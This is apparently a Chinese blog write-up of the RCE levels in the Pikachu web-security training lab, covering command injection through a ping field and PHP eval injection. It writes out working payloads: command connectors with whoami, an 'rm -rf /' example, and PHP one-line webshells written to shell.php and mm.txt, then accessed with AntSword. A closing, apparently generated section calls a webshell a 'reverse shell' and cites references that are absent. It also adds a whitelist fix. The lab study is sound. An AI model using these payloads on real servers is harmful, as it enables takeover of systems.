渗透小测试之pikachu靶场RCE练习

目录

RCE简介

RCE原理

靶场第一关——ping命令

靶场第二关——eval


RCE简介

RCE(Remote Code Execution)远程代码执行 是网络安全中危害性极高的漏洞类型,允许攻击者通过漏洞在目标系统上执行任意代码或命令,从而完全控制服务器或应用程序。

RCE原理

RCE 的核心在于目标系统对外部输入未充分过滤存在逻辑缺陷,导致攻击者可注入恶意代码。常见成因包括:

  1. 输入验证缺失
    用户输入(如表单、URL参数)未严格过滤,导致代码注入(如 eval($_GET['cmd']))。

  2. 命令注入
    系统命令拼接用户输入(如 os.system("ping " + user_input)),攻击者注入 ; rm -rf / 等命令。

  3. 反序列化漏洞
    未安全处理序列化数据(如 Java/Python 反序列化),触发恶意代码。

  4. 框架/组件漏洞
    依赖库或框架存在漏洞(如 Log4j2、Apache Struts)。

 靶场第一关——ping命令

此网站给了一个ping命令的输入框,输入网址就会对其进行ping测试

因为靶场是布置在windows下的,所以会有乱码,不过能ping成功就行

在黑盒测试中,由于不知道是windows还是linux,所以用(|,||,&&)这三个连接符

|(管道符)将前命令的输出作为后命令的输入无条件执行
||(逻辑或)前命令失败时,执行后命令。
&&(逻辑与)前命令成功时,执行后命令。

&(命令分隔符),无论前命令是否成功均执行后命令

命令用whoami

whoami 是一个简单但非常重要的命令行工具,用于显示当前登录用户的身份信息。在linux中whoami显示当前用户名,在windows中whoami显示用户完整标识(包括当前登录的域名和用户名)。所以用whoami可以判断操作系统是windows还是linux

判断出操作系统是windows,同时得到了域名和用户名

查看一下源码

 代码直接将用户输入的 $ip 拼接到系统命令中,未对输入内容进行合法性校验或转义。

使用 shell_exec() 执行操作系统命令,且拼接用户输入到命令字符串中,形成注入点。

靶场第二关——eval

eval函数的作用是在编程中用于将字符串作为代码来执行

因此这题的意思是系统将用户输入的内容当做代码执行

我们试试看,输入phpinfo();

果然,phpinfo();被执行了

那么我们可以输入一句木马

fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');

 执行完成后查看目录,发现木马创建成功

使用蚁剑连接

连接成功

看看源码

直接通过 $_POST['txt'] 获取用户输入,未经过滤或限制。 

可以增加白名单机制

$input = $_POST['txt'];
if (!preg_match('/^[0-9+\-*\/() ]+$/', $input)) {
    die("非法输入!");
}

限制用户输入的内容 

### 关于Pikachu靶场中的RCE漏洞 Pikachu是一款专为Web安全学习设计的靶场系统,其中包含了多种常见的Web安全漏洞。对于初学者而言,它提供了一个理想的环境来实践和理解各种攻击向量[^1]。 #### RCE漏洞概述 远程代码执行(Remote Code Execution, RCE)是一种严重的安全漏洞,允许攻击者通过目标系统的应用程序运行任意代码。在Pikachu靶场中,存在多个场景模拟这种类型的漏洞。例如,在`exec "ping"`的功能实现上,如果未对用户输入进行严格过滤,则可能导致恶意命令注入并被执行[^2]。 #### 利用方法示例 以下是几种典型的RCE漏洞利用方式: 1. **创建反向Shell** 攻击者可以通过上传自定义PHP脚本的方式获取更高权限的操作界面。例如,下面这段代码可用于生成一个简单的后门程序: ```php <?php eval($_POST["cmd"]); ?> ``` 将上述内容写入服务器上的某个可访问位置(如`shell.php`),即可通过发送特定请求控制该服务端进程[^4]。 2. **文件操作指令嵌套** 另一种常见手法是在合法功能之外附加额外的动作。比如以下命令会尝试将一段恶意代码保存至临时文本文件中: ```bash echo "<?php @eval(\$_POST['cmd']); ?>" > mm.txt ``` 此外还可以进一步扩展成更复杂的逻辑链路以便长期维持连接通道[^5]。 #### 中文显示问题处理建议 当遇到因字符集不匹配引起的乱码现象时,可以在受影响页面顶部增加指定编码声明语句解决这个问题。具体做法如下所示: ```php header("Content-type:text/html;charset=gb2312"); ``` 不过需要注意的是,这样做可能会影响到其他部分正常展示效果;因此必要时候可以选择有条件启用或者完全移除这条设置行[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值